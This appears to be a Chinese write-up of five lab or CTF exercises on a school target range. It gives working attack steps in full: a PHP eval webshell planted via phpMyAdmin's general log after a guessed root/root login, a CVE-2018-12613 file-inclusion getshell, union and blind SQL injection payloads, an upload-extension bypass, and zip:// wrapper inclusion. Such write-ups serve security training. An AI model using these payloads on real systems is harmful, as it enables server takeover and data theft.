1 一句话木马
phpMyAdmin
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程序一样在网页服务器上执行,但是您可以在任何地方使用这些程序产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
过程
在学校靶站开了个环境之后,使用御剑扫一下后台
扫描到 phpMyAdmin 的后台比较好搞
然后猜的密码:root/root(很无语啊)
进到后台里之后进到sql查询界面
用日志上传php的一句话木马,当然得先开启日志功能
select '<?php @eval($_POST[1]);?>'
但由于在linux中mysql数据库的日志与web目录的用户权限是分开的,我们此时还无法通过目录地址访问该日志文件。
修改日志文件存储路径和文件名的语句为
set global general_log_file=' C:\phpStudy'
寻找网站在服务器上的绝对地址(浏览可能包含该信息的文件)
执行:
set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\shell.php';
不要斜杠搞反(反斜杠\这样也行)
将日志文件的存储路径改为站点根目录下的 shell.php 文件
重新写入php一句话木马
之后在浏览器中访问shell.php,查看是否能够访问成功
使用webshell管理工具连接创建的shell.php文件,控制服务器
菜刀密码是1,基于一句话木马中POST[1]
2 构造url
遇事不决先扫描
扫描到后台和一个www.zip网址
这个网址是网站的备份文件,下载下来后可以找到config文件,内有sql链接的用户名密码
获取用户名密码后直接撞库,进到后台
登录网站数据库后,查看数据库管理系统的版本号,并在互联网中搜索是否有可以利用的安全漏洞。
当然有漏洞:
phpMyAdmin 4.8.x 本地文件包含漏洞利用
操作
开启sql日志
set global general_log = "ON";
利用 CVE-2018-12613
进行 getshell
。在 SQL 语句执行处执行
1
SELECT " <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>"
这句话的含义为向 shell.php
文件中写入一句话木马(但还没有真正成功创建)
构造url
http://192.168.210.116/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_9uc9vq9fcfge4h5cr0c3ruq1flt75p56
运行后 shell 文件就在 http://192.168.210.116/phpmyadmin/ 下
最后用菜刀或者蚁剑连上就行了
3 注入爆库
过滤分为两种,前端和后端
而这个靶站刚好就是前端验证
禁用JavaScript
sql 注入基本方法
手工注入爆库
1、打开SQL Injection模块,该模块的功能是通过输入User ID查询Username。
2、测试输出结果:输入1提交,将正常返回查询结果。
3、确定注入点:使用敏感字符和逻辑语句使其报错,通过报错来确定注入是否存在。输入1'
提交,将返回一个错误。
4、分析报错信息,使用的sql语句可能是:select First name and Surname from 表名 where id='输入的id'
5、分别加入逻辑运算:’and 1=1#’和’and 1=2 #’
(前后的单引号是闭合前面和后面的单引号,#为注释符号)可以顺利执行。
6、输入1' union select 1,database()#
提交,得到数据库名称(注:union查询要求两个select语句必须返回相同数量的字段)。
7、输入1' union select 1,table_name from information_schema.tables where table_schema='xxx'#
,得到数据库中的表名。
8、输入1' union select 1,column_name from information_schema.columns where table_name='xxx'#
,得到users表的列名。
9、输入1' union select xxx,xxx from xxx#
得到users表的所有用户名和口令。
10、破解users表中的密文口令。
SQL盲注猜解数据库信息
1、打开SQL Injection(Blind)模块,该界面的功能是通过输入User ID查询该ID是否存在。
2、输入一些数字或字符提交,观察返回的查询结果,推测当查询返回结果集中行数大于0时,页面显示信息:User ID exists in the database,否则显示信息:User ID is MISSING from the database。
3、输入特殊字符,测试是否存在注入漏洞。
4、基于布尔盲注,输入1’ and length(database())>X#,猜解数据库名称的长度X。
5、输入1’ and ascii(substr(database(),1,1))>XXX#,对照ASCII码表猜解数据库名称中的每一个字母的值XXX。
6、输入1’ and (select count(table_name) from information_schema.tables where table_schema=database())>X#,猜解数据库中有多少张表。
7、输入1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>X#,猜解数据库中第一张表的表名长度。
8、输入1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>XXX#,猜解表名。
9、基于上述方法,可继续猜解字段名、字段内容等信息。
实操
找数据库名
1’ union select 1,1,database()#’
找表名
1’ union select 1,1,table_name from information_schema.tables where table_schema=’news’#
找字段名
1’ union select 1,1,column_name from information_schema.columns where table_name=’admin’#
找flag
1’ union select 1,1,flag from admin#
这里的1,1,…是因为union构造的select必须字段数相同
4 后缀限制
简陋的密码界面
开浏览器调试工具
在服务器response数据中找到password
既然有后端的后缀限制
那么搞个虚假的后缀
上传
http://192.168.210.103/uploads/1.php.jpg
蚁剑直接连接
flag随便一翻就找到了
5 ZIP伪协议
界面非常简陋啊
尝试上传php文件但是
上传有白名单,目录没有执行权限,不具备直接搞的条件
文件包含:动态的形成文件包含,仅通过url执行本不能执行的shell
首先
瞎改一下url
报错
Warning: require(fghjk,.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 67 Fatal error: require(): Failed opening required ‘fghjk,.php’ (include_path=’.:/usr/share/pear:/usr/share/php’) in /var/www/html/index.php on line 67
出现绝对路径
穿个一句话木马的压缩包
文件保存路径为:
/var/www/html/upload/f84e64e150a8a0b8cd732340cfcf6da0.zip
访问压缩包
http://192.168.210.96/index.php?url=upload/f84e64e150a8a0b8cd732340cfcf6da0.zip
报错
Warning: requ…..No such file or directory in /var/www/html/index.php on line 67 Fatal error: require(): Failed opening required ‘upload/f84e64e150a8a0b8cd732340cfcf6da0.zip.php‘….
竟然会自动添加一个php的后缀,注释掉就好了。
# 的url编码是%23
构造url参数,通过#(%23)截断系统自动添加的.php
利用ZIP伪协议
解压缩上传的zip文件上传webshell👇
加一个ZIP伪协议👇,这样就可以执行木马了(需要绝对地址)PHP封装伪协议
http://192.168.210.96/index.php?url=zip:///var/www/html/upload/f84e64e150a8a0b8cd732340cfcf6da0.zip%231
最后一个1是zip里的文件名
最后用蚁剑连上面↑链接就ok了,flag就在upload目录